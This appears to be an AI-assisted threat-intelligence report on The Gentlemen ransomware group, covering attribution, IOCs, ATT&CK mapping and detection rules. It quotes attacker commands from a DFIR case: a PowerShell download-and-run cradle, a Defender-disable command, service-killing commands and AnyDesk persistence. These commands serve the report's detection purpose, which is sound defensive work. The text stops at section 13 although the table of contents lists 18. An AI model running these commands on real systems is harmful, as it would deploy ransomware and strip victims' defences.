



LOST BOYS CYBER

THREAT INTELLIGENCE • MALWARE ANALYSIS • DETECTION ENGINEERING



Who Runs the Ransomware Group ‘The Gentlemen?’

Malware Analysis Report

Classification	TLP:CLEAR
Published	2026-06-17
Version	1.0
Author	Lost Boys Cyber
Report Type	Malware Analysis Report

TLP:CLEAR | Lost Boys Cyber | Who Runs the Ransomware Group ‘The Gentlemen?’ - Malware Analysis Report

Published: 2026-06-17 | TLP:CLEAR | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, IOCs, detection rules, hunting queries, attribution assessments, and recommendations must be independently reviewed and validated by a qualified security professional before operational use.

Table of Contents

1. Executive Summary
2. Sample Metadata
3. Source Review & Confidence
4. Initial Triage and Delivery Assessment
5. Static Analysis
6. Code Analysis
7. Dynamic Analysis
8. Process Tree and Execution Chain
9. Persistence and System Modification
10. Network and Infrastructure Analysis
11. Indicators of Compromise
12. MITRE ATT&CK Mapping
13. Detection Engineering
14. Threat Hunting
15. Triage and Incident Response
16. Validation and Emulation
17. Recommendations
18. References and Refresh Notes

Who Runs the Ransomware Group ‘The Gentlemen?’

1. Executive Summary

Lost Boys Cyber assesses with medium-to-high confidence that The Gentlemen is a rapidly maturing ransomware-as-a-service program whose operational risk is driven by a combination of affiliate recruitment, multi-platform lockers, access-broker collaboration, edge-device exploitation, and hands-on administrator involvement. Public reporting from KrebsOnSecurity, Check Point Research, KELA, and PRODAFT indicates that the group emerged around mid-2025 and became one of the most active ransomware operations by published victim count in early 2026.

The reviewed evidence is stronger than a normal media-only attribution item because it includes analysis of leaked internal chat and backend material, public victim telemetry, ransomware command-line behavior, a Check Point DFIR case, and corroborating identity pivots around the administrator persona Zeta88 / Hastalamuerte. The most defensible operational conclusion is that defenders should treat The Gentlemen as a human-operated ransomware ecosystem rather than a single static malware family. The locker is important, but the intrusion pattern around it includes perimeter access, credential validation, domain control, Cobalt Strike, SystemBC, AnyDesk, GPO deployment, defense impairment, data theft, and extortion pressure.

No original ransomware binary was supplied to Lost Boys Cyber for local reverse engineering in this task. This report therefore separates vendor-reported malware behavior from Lost Boys Cyber assessment. The public technical record is still sufficient to produce defensive value: The Gentlemen Windows locker is reported as a Go binary with password-gated execution, propagation and GPO options, process and service termination, optional partial encryption speed modes, local and remote persistence options, and XChaCha20 encryption behavior with an appended GENTLEMEN marker. Check Point also reports a separate ESXi ELF locker written in C with VMFS-oriented targeting.

Immediate defensive priorities are to reduce exposure on VPN, firewall, OWA/M365, Cisco, Fortinet, ESXi, backup, and remote-management surfaces; hunt for domain-controller initiated remote execution and GPO-based payload distribution; monitor for SystemBC, Cobalt Strike, AnyDesk, Defender-disable commands, and ransomware command-line flags; validate backup recovery from isolated media; and pre-stage ransomware response playbooks for rapid identity containment. Organizations should not wait for a file hash to begin scoping because the RaaS model issues affiliate-specific builds and uses living-off-the-land intrusion tradecraft before encryption.

Finding	Analyst Assessment	Defensive Implication
The Gentlemen advertised a 90/10 affiliate split	High confidence from Krebs, Check Point, and KELA	High affiliate incentives can increase campaign volume and variant diversity
Multi-platform locker portfolio	High confidence from Check Point reporting	Windows, Linux/NAS/BSD, and ESXi recovery plans should be tested together
Administrator Zeta88 / Hastalamuerte tied to panel, builder, payouts, and some infections	Medium-to-high confidence from leaked chat/backend analysis and OSINT pivots	Treat actor identity as useful context, but prioritize behavior-based defense over persona tracking
Perimeter and identity-centric access path	High confidence from Check Point/KELA leaks and DFIR timeline	Patch edge devices, monitor credential abuse, and scope identity compromise before focusing only on encrypted hosts
GPO-based ransomware distribution observed	High confidence from Check Point DFIR	Domain controllers and Group Policy changes require high-priority detection and response coverage
No local sample was supplied to Lost Boys Cyber	High confidence task limitation	Static/code claims are source-backed, not independently reproduced in a lab

2. Sample Metadata

The task source is a KrebsOnSecurity attribution article, but public technical reporting includes enough malware detail to treat this as a source-backed malware-analysis report. The table below describes the ransomware family and observed/reported components, not a locally detonated sample.

Field		Value
Family / Cluster		The Gentlemen ransomware-as-a-service
Malware Type		Human-operated ransomware locker with affiliate build model; related intrusion tooling includes SystemBC, Cobalt Strike, AnyDesk, credential tooling, and EDR-kill utilities
Platform		Windows locker in Go; Linux/NAS/BSD lockers in Go per Check Point; ESXi locker in C
Primary Sample SHA256		Not available in public reporting reviewed for this task
Additional Hashes		Not available; affiliate-specific builds and campaign IDs are emphasized over stable hashes
File Type / Format		Windows PE / Go ransomware; ESXi ELF variant; supporting tools vary by affiliate
Delivery Theme		RaaS affiliate deployment after perimeter compromise, credential abuse, lateral movement, data theft, and domain-level preparation
First Seen / Reported		Group emerged around mid-2025; active public reporting and leaks in April-May 2026; Krebs article published 2026-06-10
Analyst Confidence		Medium-to-high overall; high for reported command-line behavior and DFIR timeline; medium for attribution pivots and complete infrastructure scope
Primary Objective		Data theft, enterprise-wide encryption, extortion, affiliate revenue generation, and operational pressure against victims
Source Basis		KrebsOnSecurity, Check Point Research DFIR and leak analysis, KELA internal-chat analysis, PRODAFT update cited by Krebs
Component / Artefact	Role	Evidence Status
`grand.exe` / `c:\programdata\r.exe`	Ransomware staging and execution name in Check Point DFIR case	Source-reported, environment-redacted
SystemBC `socks.exe`	SOCKS proxy / tunneling malware attempted by affiliate	Source-reported; C2 `45.86.230[.]112` observed
Cobalt Strike via `rundll32.exe`	Alternate C2 after SystemBC was blocked	Source-reported; C2 `91.107.247[.]163` observed on ports 443/80
AnyDesk	Persistence / remote access channel	Source-reported commands and configured password observed
Group Policy deployment	Fleet-wide ransomware execution	Source-reported impact mechanism
RaaS panel / builder	Affiliate build generation, ransom-note contact routing, and administrator revenue	Source-reported from leaked backend/chats

	share	
--	-------	--

3. Source Review & Confidence

Source	Contribution	Confidence	Notes
KrebsOnSecurity, “Who Runs the Ransomware Group ‘The Gentlemen?’”	Intake source, victim-count context, Zeta88/Hastalamuerte attribution pivots, OSINT links to Alexander Yapaev, PRODAFT update	Medium-to-high	Strong investigative reporting; identity claims depend on third-party intelligence pivots and should not be treated as court-standard attribution
Check Point Research, “DFIR Report – The Gentlemen & SystemBC”	Locker behavior, command-line options, DFIR timeline, SystemBC/Cobalt Strike/AnyDesk/GPO deployment, encryption design, process/service termination	High for reported technical behavior	Most valuable source for defender detections and malware behavior
Check Point Research, “Thus Spoke... The Gentlemen”	Backend leak analysis, administrator role, affiliate TOX IDs, toolsets, exploitation paths, internal accounts, negotiation and payout context	High for source-reported leaked-material analysis	Directly supports RaaS ecosystem and role model
KELA, “Inside The Gentlemen Leak”	Internal chat roles, infrastructure, initial-access tactics, AI use, OWA abuse, Black Basta playbook reuse, victim-selection logic	Medium-to-high	Corroborates Check Point on internal chats and adds operational interpretation
PRODAFT public writeup cited by Krebs	Corroborates Zeta88/Hastalamuerte persona with high confidence; reports Fortinet SSL-VPN credential supply and AI-assisted development	Medium	Source page was not fully extractable in this environment, so this report treats PRODAFT details through the Krebs update and does not over-weight them
Lost Boys Cyber analytic synthesis	Detection engineering, hunting queries, triage, and recommendations	Medium	Derived from public technical reporting and standard ransomware IR telemetry

Directly reported evidence includes the group’s 90/10 affiliate model, rapid 2026 victim growth, backend/chat leak, administrator account Zeta88/Hastalamuerte, multi-platform locker support, Windows locker command-line flags, use of SystemBC and Cobalt Strike in one intrusion, Defender suppression, AnyDesk persistence, GPO-based ransomware distribution, and XChaCha20-based file encryption behavior.

High-confidence assessment: The Gentlemen should be defended against as a full intrusion lifecycle. The most consequential pre-encryption telemetry is likely to appear in identity, domain controller, VPN, email, EDR, remote-management, and backup telemetry before the locker runs.

Lower-confidence or unverified areas include the complete population of affiliates, exact total victim count, complete sample/hash set, whether every observed tool is standardized by the RaaS or affiliate-specific, and the legal identity of the administrator. The Yapaev attribution chain is included as source context, not as a necessary premise for defensive action.

4. Initial Triage and Delivery Assessment

The Gentlemen does not appear to depend on a single delivery lure. Public reporting describes a RaaS program where affiliates and collaborators obtain access through edge devices, credential logs, OWA/M365 accounts, exploit evaluation, access brokers, brute forcing, and lessons borrowed from leaked Black Basta tradecraft. In the Check Point DFIR case, the earliest high-confidence observation was already domain-controller level access, meaning the initial access vector could not be conclusively determined.

Variant / Artefact	Delivery Role	Notes
Fortinet / Cisco / VPN / firewall exposure	Initial access and credential-validation surface	Check Point and KELA both reference edge-device interest; PRODAFT update cited by Krebs emphasizes Fortinet SSL-VPN credentials
OWA/M365 credential logs and compromised mailboxes	Initial access, phishing, payload staging, and extortion pressure	KELA reports OWA abuse and Black Basta playbook study
NTLM relay / PetitPotam / PrinterBug / WebDAV / ZeroLogon-style paths	Domain escalation and lateral movement	Reported in leaked internal discussions as evaluated methods
Cobalt Strike payloads written to ADMIN\$ shares	Remote execution and command-and-control	Observed in Check Point DFIR timeline
SystemBC `socks.exe`	Covert tunneling and payload delivery	Attempted in Check Point case but blocked by endpoint protection
PowerShell download from internal DC	Ransomware staging	`grand.exe` downloaded as `c:\programdata\r.exe` from `http://[DC]:8080/` in Check Point timeline
Group Policy	Enterprise deployment	Final ransomware payload executed across domain-joined systems during policy refresh
Tox / Session / DLS	Victim communications and affiliate contact routing	Ransom notes route negotiations to affiliate contact handles

Key triage implication: if The Gentlemen activity is suspected, responders should begin with identity and domain-control scoping instead of waiting for encryption artifacts. A host-only malware cleanup may miss the real control plane: stolen credentials, domain admin access, mailboxes, remote access tools, and attacker-controlled GPO changes.

5.1 File and Build Characteristics

No local sample was available for hashing, section analysis, compiler verification, or independent decompilation. Static analysis below is therefore based on Check Point’s published analysis of collected ransomware samples and must be revalidated if a client provides a binary.

Static Signal	Evidence	Analyst Value
Go-based Windows locker	Check Point reports The Gentlemen Windows locker is developed in Go and actively developed	Supports Go-specific static triage, string extraction, and runtime artifact hunting
C-based ESXi variant	Check Point reports an ESXi ELF locker written in C	Extends risk to virtualization and datastore recovery scenarios
Password-gated execution	`--password PASS` is required; the password is reportedly hardcoded and	Sandbox detonation may fail if the build-

	compared at runtime	specific password is missing
Multi-mode targeting	Flags include `--system`, `--shares`, `--full`, `--path`, `--gpo`, and `--spread`	Command-line telemetry is high-value for detection and IR reconstruction
Speed-mode partial encryption	`--fast`, `--superfast`, and `--ultrafast` encrypt roughly 9%, 3%, or 1% of large files	Fast impact with reduced dwell in encryption stage; file recovery expectations change
Process and service kill lists	Targets VMware/Hyper-V, databases, backup, Veeam, Commvault, SAP, Exchange/SharePoint, AV, QuickBooks, and productivity tools	Confirms business-impact focus and helps build pre-encryption detections
File marker/footer	Large-file encryption appends `--eph--`, `--marker--GENTLEMEN`, `GENTLEMEN`, and optional speed-mode marker	Useful for file-system triage and YARA-like marker hunting on encrypted files

5.2 Strings, Imports, and Embedded Artefacts

Published strings and command-line artifacts are more reliable than stable hashes for this family because the RaaS issues infection-specific builds. Defenders obtaining a sample should prioritize extraction of:

Artefact Class	High-Value Strings / Patterns	Use
Execution flags	`--password`, `--spread`, `--gpo`, `--system`, `--shares`, `--full`, `--fast`, `--superfast`, `--ultrafast`, `--wipe`, `--keep`, `--silent`	Process-command-line detection and sample triage
File markers	`--eph--`, `--marker--GENTLEMEN`, `GENTLEMEN`	Identify encrypted files and locker lineage
Persistence commands	`schtasks /Create`, `UpdateSystem`, `UpdateUser`, `DefS`, `UpdateGS`, `reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`	Persistence and remote-execution detection
Defense impairment	`Set-MpPreference -DisableRealtimeMonitoring \$true -Force`, `taskkill /IM`, `sc config`, `sc stop`	Pre-encryption control weakening
Remote access	AnyDesk install/start/password commands; RDP enablement registry and firewall changes	Durable attacker access paths
Staging names	`grand.exe`, `c:\programdata\r.exe`, `c:\programdata\g.exe`, `c:\programdata\o.exe`, random seven-character executables in ADMIN\$	Case-specific pivots for endpoint searches

5.3 Static Configuration Clues

Configuration Item	Reported / Expected Value	Confidence	Notes
--------------------	---------------------------	------------	-------

Mandatory password	Build/infection-specific plaintext password supplied at runtime	High	Required to trigger encryption; also enables controlled affiliate execution
Affiliate contact	Tox / Session identifiers embedded or routed through ransom notes	High	Negotiations reportedly controlled by affiliates, administrator receives 10%
Encryption primitive	X25519 key agreement and XChaCha20 encryption per Check Point	High	Public-key workflow enables attacker-side decryption if ransom is paid
File marker	`--marker-- GENTLEMEN\nGENTLEME N`	High	Useful for encrypted-file classification
Speed mode	Optional marker such as `--fast--` appended to encrypted file metadata	Medium-to-high	Indicates partial encryption strategy used
ESXi path targeting	`--path /vmfs/`, datastore paths, optional VM ignore list	High from Check Point	Requires ESXi and backup-specific response planning

6.1 Reverse-Engineering Method

Lost Boys Cyber did not perform local Ghidra, radare2, or sandbox analysis because no sample was attached to the intake task. The code-analysis section is source-backed by Check Point’s published reverse-engineering notes and should be treated as a defensive summary until a sample is available.

Method	Completed Locally	Evidence Used
Local hashing and file-type analysis	No	No binary sample supplied
Ghidra / radare2 decompilation	No	Not applicable without sample
Public reverse-engineering review	Yes	Check Point DFIR and ransomware-analysis publication
Behavior-to-detection mapping	Yes	Source-reported commands, flags, process/service targets, and encryption markers

6.2 Functions and Logic of Interest

Function / Routine	Evidence	Why It Matters
Argument parsing and password gate	Locker requires `--password PASS`; examples include `--password QWERTY` and case-specific `--password VvO8EtUh`	Prevents accidental execution and complicates sandboxing; command-line telemetry is critical
Propagation mode	`--spread CREDs` and `--gpo` options; Check Point observed GPO-based domain deployment	Enables rapid enterprise-wide encryption from privileged context
Process termination loop	Repeated `taskkill /IM <process>.exe /F` for VM, database, backup, productivity, remote-access, and application processes	Maximizes encryption success against open files and disrupts recovery operations
Service impairment	`sc config <service> start=disabled` and `sc`	Prevents backup/EDR/service resilience

	stop <service>` across backup, database, AV, Exchange, SharePoint, VMware, and other services	and creates pre-encryption detection opportunities
Persistence creation	Scheduled tasks and Run keys locally; remote scheduled tasks and services when spreading	Creates re-execution paths and complicates eradication
Small-file encryption	Files <= 1 MB encrypted in place with XChaCha20	Full-content impact for smaller documents and configs
Large-file partial encryption	Files > 1 MB encrypt selected 64 KB chunks; speed flags reduce percentage encrypted	Decreases runtime while keeping files unusable
Footer/marker append	Stores ephemeral public key and `GENTLEMEN` marker	Supports decryptor workflow and forensic classification

6.3 Anti-Analysis, Evasion, and Obfuscation

The most important anti-analysis feature reported is password-gated execution. A sample run without the correct password may not exhibit encryption behavior, and AV engines or detonation sandboxes may under-detect ESXi samples if execution prerequisites are not met. The ransomware also supports `--silent`, which reportedly avoids renaming and timestamp modification behavior, reducing obvious user-facing cues until damage is done.

The broader intrusion includes defense impairment before encryption. Check Point observed PowerShell disabling Microsoft Defender real-time monitoring and internal chats referenced EDR-kill packages such as EDRStartupHinder, gfreeze, glinker, and log/ETW evasion research. These should be detected as pre-ransomware control suppression even when the final locker is not yet present.

7.1 Execution Overview

The Check Point DFIR timeline provides the best dynamic evidence. The actor reached domain-controller level control, validated privileged access, wrote executables to ADMIN\$ shares, executed payloads by RPC, staged Cobalt Strike and SystemBC, disabled defenses, installed AnyDesk, harvested credentials, enumerated domain trusts and privileged groups, staged the ransomware from an internal DC, and then used Group Policy to distribute the payload across domain-joined systems.

7.2 Filesystem, Registry, Service, and Task Changes

Change Type	Evidence	Defensive Use
File staging	`grand.exe` downloaded to `c:\programdata\r.exe`; same payload appeared as `r.exe`, `g.exe`, and `o.exe`	Hunt ProgramData for short renamed executables around incident time
ADMIN\$ writes	Random seven-character executables written to `\\HOST\ADMIN\$\<random_7_char>.exe`	Detect domain-controller or admin host pushing executable content broadly
Defender configuration	`Set-MpPreference -DisableRealtimeMonitoring \$true -Force`	High-severity EDR/SIEM analytic
RDP enablement	Registry `fDenyTSConnections=0` and firewall Remote Desktop group enabled	Detect unauthorized remote-access enablement

AnyDesk install	AnyDesk installed under Program Files (x86), start-with-win set, password configured	Scope persistence and external remote-control access
Scheduled tasks	`UpdateSystem`, `UpdateUser`, `DefS`, `UpdateGS`, `UpdateGS2`	Hunt task creation and remote task execution
Run key	`HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GupdateU`	Local persistence detection
Service control	Services stopped/disabled across backup, database, virtualization, security, and application categories	Pre-encryption high-confidence ransomware behavior

7.3 Network and Command-and-Control Behaviour

Network / Infrastructure	Type	Role	Confidence
`45.86.230[.]112`	IP address	SystemBC C2 attempted by affiliate in Check Point incident	High source-reported
`91.107.247[.]163`	IP address	Cobalt Strike C2 contacted by `rundll32.exe` over 443 and later 80	High source-reported
Tox	Decentralized messaging	Affiliate negotiation contact and administrator communication	High source-reported
Session / Element	Messaging platforms	External communications and victim negotiation support	Medium-to-high source-reported
Tor onion DLS	Data leak site	Publication pressure for non-paying victims	High source-reported
4vps.su / JustHost.asia	Bulletproof VPS providers	Reported attack-traffic infrastructure in leaked chat analysis	Medium source-reported
Amnezia VPN / WireGuard / Cloudflare ZeroTrust tunnels	VPN/tunneling	Operator traffic routing and access infrastructure	Medium source-reported

7.4 Observed Capability Summary

Capability	Supporting Dynamic Evidence
Privileged lateral movement	ADMIN\$ payload writes, RPC execution, domain-controller origin, `--spread` option
Command-and-control	SystemBC attempted C2; Cobalt Strike C2 via `rundll32.exe`
Defense evasion	Defender real-time monitoring disabled; EDR-kill tooling discussed internally
Credential access	Mimikatz output and Credential Manager material observed by Check Point
Persistence	RDP enablement, AnyDesk installation, scheduled tasks, Run keys,

	remote scheduled tasks/services
Enterprise encryption	GPO-based payload execution and ransomware flags for full/system/shares/gpo modes
Data theft and extortion	DLS operations, leaked chat negotiation playbooks, references to stolen data reuse

8. Process Tree and Execution Chain

The following process tree is reconstructed from public DFIR reporting and should be adapted during incident response to the client's telemetry.

Step	Parent Process / Context	Child / Action	Why It Matters
1	Domain Controller / privileged context	Failed then successful network logons across hosts	Indicates credential validation and host reachability testing
2	DC-origin remote execution	`\\HOST\ADMIN\$\<random_7_char>.exe` executed via RPC	Establishes remote payload execution pattern
3	Remote payload	`cmd.exe /C systeminfo`, `whoami`, `dir c:\users`, `type \HOST\d\$\\...`	Discovery and environment-specific file review
4	Remote payload	`regsvr32.exe` and later `rundll32.exe`	Suspicious LOLBIN execution and C2 staging
5	Payload staging	`socks.exe` attempts C2 to `45.86.230[.]112`	SystemBC proxy channel attempt
6	`rundll32.exe`	Cobalt Strike C2 to `91.107.247[.]163` over 443/80	Alternate C2 after SystemBC was blocked
7	Scheduled task context	`powershell.exe -ExecutionPolicy Bypass ... downloadfile('http://[DC]:8080/grand.exe','c:\programdata\r.exe')`	Internal ransomware staging from a domain controller
8	`powershell.exe` / staged payload	`c:\programdata\r.exe --password ... --spread DOMAIN\USER:PASSWORD`	Ransomware execution and propagation
9	PowerShell / admin context	`Set-MpPreference -DisableRealtimeMonitoring \$true -Force`	Defense suppression before mass deployment
10	`cmd.exe` / admin context	RDP enabled via registry and firewall; AnyDesk installed and configured	Persistence and remote access
11	Domain / GPO context	Ransomware binary deployed via Group Policy and executed during refresh	Near-simultaneous enterprise encryption

9. Persistence and System Modification

Modification Type	Artefact	Evidence	Confidence
Local scheduled task	`UpdateSystem` running as SYSTEM with ` <code><exe> <args></code> `	Check Point code-analysis report	High
User scheduled task	`UpdateUser` with ` <code><exe> <args></code> `	Check Point code-analysis report	High
Run key	`HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GupdateU`	Check Point code-analysis report	High
Remote scheduled task	`DefS`, `UpdateGS`, `UpdateGS2` on target hosts	Check Point code-analysis report	High
Remote service persistence	Service-based execution of ransomware from target or share	Check Point code-analysis report	Medium-to-high
AnyDesk persistence	`anydesk.exe --install ... --start-with-win`; configured password	Check Point DFIR timeline	High
RDP enablement	`fDenyTSConnections=0` and firewall rule group enabled	Check Point DFIR timeline	High
Backup/DB/security service impairment	`taskkill`, `sc config`, `sc stop` against Veeam, VSS, SQL, AV, Exchange, VMware, and others	Check Point code-analysis report	High

The presence of scheduled task names or Run keys alone is not sufficient to prove The Gentlemen because operators can rename artifacts. However, the combination of password-gated ransomware execution flags, broad service/process termination, GPO deployment, Defender impairment, and encrypted file markers is a strong behavioral cluster.

10. Network and Infrastructure Analysis

The Gentlemen’s infrastructure should be separated into stable operational concepts and unstable IOCs. IP addresses in a DFIR report can expire quickly, while the group’s recurring reliance on edge-device access, affiliate contact handles, Tor DLS pressure, encrypted messaging, proxy malware, and tunneling tools is more durable.

IOC / Infrastructure	Type	Role	Stability / Confidence
`45.86.230[.]112`	IP	SystemBC C2 in Check Point incident	Low stability / high source confidence
`91.107.247[.]163`	IP	Cobalt Strike C2 in Check Point incident	Low stability / high source confidence
Tox ID `F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E`	Tox public key	Assessed administrator / DLS / recruitment contact in Check Point analysis	Medium stability / medium-to-high confidence
Other affiliate TOX IDs	Tox public keys	Affiliate routing and campaign linkage	Medium stability / high source confidence
Tor DLS	Onion service	Victim pressure and data	Medium stability; not listed

		publication	here to avoid stale onion tracking without live validation
4vps.su / JustHost.asia	VPS providers	Infrastructure hosting noted in leaked chats	Medium source confidence; weak as blocking indicator
Amnezia VPN / WireGuard / Cloudflare ZeroTrust tunnels	Tunneling/VPN	Operator traffic routing and access infrastructure	Medium confidence; should inform detection of unauthorized tunnel clients

Defenders should treat `45.86.230[.]112` and `91.107.247[.]163` as retrospective pivots rather than sole blocking controls. The more durable network detections are unusual outbound connections from `rundll32.exe`, unapproved AnyDesk traffic, SystemBC-like SOCKS proxy behavior, Tor/Tox/Session artifacts on servers, and internal web staging from a domain controller to peer endpoints.

11. Indicators of Compromise

Machine-readable indicators were saved to `iocs.csv` in the report folder. Because no local sample was available, indicators are normalized as source-reported observables and behavioral pivots.

IOC Type	Example / Count	Source	Operational Notes
IP address	2 (`45.86.230[.]112`, `91.107.247[.]163`)	Check Point DFIR	Use for retrospective proxy, firewall, DNS, and EDR network searches
File/process path	`c:\programdata\r.exe`, `g.exe`, `o.exe`, `grand.exe`, `socks.exe`, random ADMIN\$ executables	Check Point DFIR	Case-specific names; hunt with timing and parent-process context
Command-line flags	`--password`, `--spread`, `--gpo`, `--full`, `--system`, `--shares`, `--fast`, `--superfast`, `--ultrafast`	Check Point analysis	High-value detection for ransomware execution
Persistence names	`UpdateSystem`, `UpdateUser`, `DefS`, `UpdateGS`, `UpdateGS2`, `GupdateU`	Check Point analysis	Hunt scheduled tasks and Run keys
Encrypted-file marker	`--eph--`, `--marker--GENTLEMEN`, `GENTLEMEN`	Check Point analysis	Useful for file triage and encrypted-volume confirmation
Messaging / persona	Zeta88, Hastalamuerte, administrator TOX ID	Krebs / Check Point / KELA	Attribution context; not sufficient alone for detection
Vulnerability focus	CVE-2023-34039, CVE-2024-55591, CVE-2025-32433, CVE-2025-33073	Check Point / KELA	Patch and exposure-management priorities

12. MITRE ATT&CK Mapping

Technique	Name	Evidence
T1190	Exploit Public-Facing Application	Leaked chats discuss exploiting exposed Fortinet/Cisco/edge services and modern

		CVEs
T1078	Valid Accounts	OWA/M365 credential logs, VPN credentials, and domain-admin usage are central to reporting
T1021.002	SMB/Windows Admin Shares	Cobalt Strike payloads written to `\\HOST\ADMIN\$\<random>.exe`
T1059.001	PowerShell	PowerShell download cradle and Defender-disable command observed
T1059.003	Windows Command Shell	`cmd.exe /C` discovery, RDP enablement, service, and AnyDesk commands
T1053.005	Scheduled Task/Job: Scheduled Task	Local and remote scheduled task persistence and execution
T1484.001	Domain Policy Modification: Group Policy Modification	Ransomware distributed and executed through GPO in Check Point DFIR case
T1562.001	Impair Defenses: Disable or Modify Tools	`Set-MpPreference -DisableRealtimeMonitoring \$true` and EDR-kill tooling discussions
T1003.001	OS Credential Dumping: LSASS Memory	Mimikatz output recovered; KslDump/KslKatz discussed in leaked toolsets
T1087.002	Account Discovery: Domain Account	Domain Admins and Enterprise Admins enumeration
T1486	Data Encrypted for Impact	The Gentlemen locker encrypted domain-joined systems
T1490	Inhibit System Recovery	Backup/VSS service termination and backup tooling impairment
T1219	Remote Access Software	AnyDesk installed, configured, and started
T1090	Proxy	SystemBC SOCKS proxy attempted; tunnels and VPN tools discussed
T1041	Exfiltration Over C2 Channel	Data theft and DLS pressure are reported, though exact exfil path varies by case
T1657	Financial Theft	Ransom payment extraction and affiliate revenue share model

13.1 Detection Logic Summary

Signal	Telemetry Source	Analytic Goal	Tuning Notes
The Gentlemen ransomware flags	EDR process command line	Identify password-gated locker execution and propagation/GPO modes	Require multiple flags or suspicious path to reduce benign CLI false positives
Domain-controller initiated payload staging	EDR process/file events, SMB telemetry	Detect ADMIN\$ executable writes and internal HTTP	Tune for software deployment systems; alert when source is

		staging from DC	unusual or broad
Defender disablement	PowerShell logs, EDR, Windows event logs	Catch pre-encryption defense impairment	High fidelity on servers and DCs; correlate with admin change windows
GPO ransomware deployment	AD audit, Sysmon, EDR, GPO change logs	Identify malicious Group Policy modifications and broad policy refresh execution	Needs baseline of normal GPO deploy cadence
AnyDesk/RDP enablement	EDR process, service, registry, firewall logs	Detect attacker persistence and remote-control setup	Tune for approved remote-support tooling
SystemBC/Cobalt Strike C2	Network, EDR, proxy, firewall	Identify proxy malware and beaconing	IOC-based detections age quickly; keep behavior-based logic
Encrypted-file marker	File telemetry / DFIR scan	Confirm The Gentlemen-encrypted files	Use only in containment/forensics; not pre-encryption prevention

13.2 Detection Content

```

title: Possible The Gentlemen Ransomware Execution Flags
id: 3a59f62f-7f1c-4e48-b6b2-4a3f4f4e9a30
status: experimental
description: Detects process command lines containing The Gentlemen ransomware execution and propagation flags reported by Check Point.
author: Lost Boys Cyber
date: 2026-06-17
references:
  - https://research.checkpoint.com/2026/dfir-report-the-gentlemen/
logsource:
  product: windows
  category: process_creation
detection:
  selection_password:
    CommandLine|contains: '--password'
  selection_mode:
    CommandLine|contains:
      - '--spread'
      - '--gpo'
      - '--full'
      - '--system'
      - '--shares'
  selection_speed:
    CommandLine|contains:
      - '--fast'
      - '--superfast'
      - '--ultrafast'
  filter_known_admin_tools:
    Image|endswith:
      - '\python.exe'
      - '\python3.exe'
  condition: selection_password and (selection_mode or selection_speed) and not filter_known_admin_tools
falsepositives:
  - Internal test harnesses or benign software using similar long options
level: high
tags:
  - attack.impact
  - attack.t1486
  - attack.t1484.001

```

```

title: Ransomware Staging From Domain Controller With ProgramData Execution
id: 46a84648-608d-4e5e-9469-0e0e82149b06
status: experimental
description: Detects a pattern similar to the Check Point The Gentlemen DFIR case where PowerShell
downloads a ransomware payload from an internal DC and executes it from ProgramData.
author: Lost Boys Cyber
date: 2026-06-17
references:
  - https://research.checkpoint.com/2026/dfir-report-the-gentlemen/
logsource:
  product: windows
  category: process_creation
detection:
  selection_powershell:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains|all:
      - 'downloadfile'
      - ':8080'
      - 'c:\programdata\'
  selection_exec:
    CommandLine|contains:
      - '--password'
      - '--spread'
  condition: selection_powershell or selection_exec
falsepositives:
  - Rare administrative scripts; review source host, scheduled task context, and destination filename
level: high
tags:
  - attack.t1059.001
  - attack.t1105
  - attack.t1486

```

```

title: AnyDesk Installation and Password Configuration During Ransomware Intrusion
id: f53ee416-34ad-4e64-86e8-4cd7654fa78f
status: experimental
description: Detects AnyDesk install/start/password commands observed in a The Gentlemen affiliate
intrusion.
author: Lost Boys Cyber
date: 2026-06-17
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - '--install'
      - '--start-with-win'
      - '--set-password'
      - '--get-id'
    Image|contains: 'AnyDesk'
  selection_echo_pipe:
    CommandLine|contains|all:
      - 'echo '
      - 'AnyDesk.exe'
      - '--set-password'
  condition: selection or selection_echo_pipe
falsepositives:
  - Legitimate remote-support deployment; validate change ticket and source account
level: high
tags:
  - attack.t1219
  - attack.t1059.003

```

```

rule TheGentlemen_Ransomware_Public_Markers_Source_Backend
{

```

```

meta:
  description = "Source-backed marker hunt for The Gentlemen ransomware strings reported publicly; validate against local samples before blocking."
  author = "Lost Boys Cyber"
  date = "2026-06-17"
  reference = "https://research.checkpoint.com/2026/dfir-report-the-gentlemen/"
  confidence = "medium"
strings:
  $flag_password = "--password" ascii wide
  $flag_spread = "--spread" ascii wide
  $flag_gpo = "--gpo" ascii wide
  $flag_ultrafast = "--ultrafast" ascii wide
  $marker1 = "--eph--" ascii wide
  $marker2 = "--marker--GENTLEMEN" ascii wide
  $marker3 = "GENTLEMEN" ascii wide
condition:
  (uint16(0) == 0x5A4D or uint32(0) == 0x464C457F) and
  4 of ($flag_*) or 2 of ($marker*)
}

// Microsoft Defender XDR: suspicious The Gentlemen-like ransomware flags
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has "--password"
| where ProcessCommandLine has_any ("--spread", "--gpo", "--full", "--system", "--shares", "--fast",
"--superfast", "--ultrafast")
| project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, FolderPath,
ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

// Microsoft Defender XDR: Defender disablement plus ransomware staging markers
let suspicious_cmds = DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has_any ("Set-MpPreference -DisableRealtimeMonitoring", "taskkill /IM", "sc
config", "sc stop", "gpupdate /force")
| project Timestamp, DeviceId, DeviceName, Account=InitiatingProcessAccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName;
let suspicious_paths = DeviceFileEvents
| where Timestamp > ago(30d)
| where FolderPath has_any ("\\ADMIN$\\", "c:\\programdata\\r.exe", "c:\\programdata\\g.exe", "c:\\
\\programdata\\o.exe")
| project FileTime=Timestamp, DeviceId, FileName, FolderPath, SHA256, InitiatingProcessFileName,
InitiatingProcessAccountName;
suspicious_cmds
| join kind=leftouter suspicious_paths on DeviceId
| project Timestamp, DeviceName, Account, FileName, ProcessCommandLine, FileTime, FolderPath, SHA256,
InitiatingProcessFileName

```

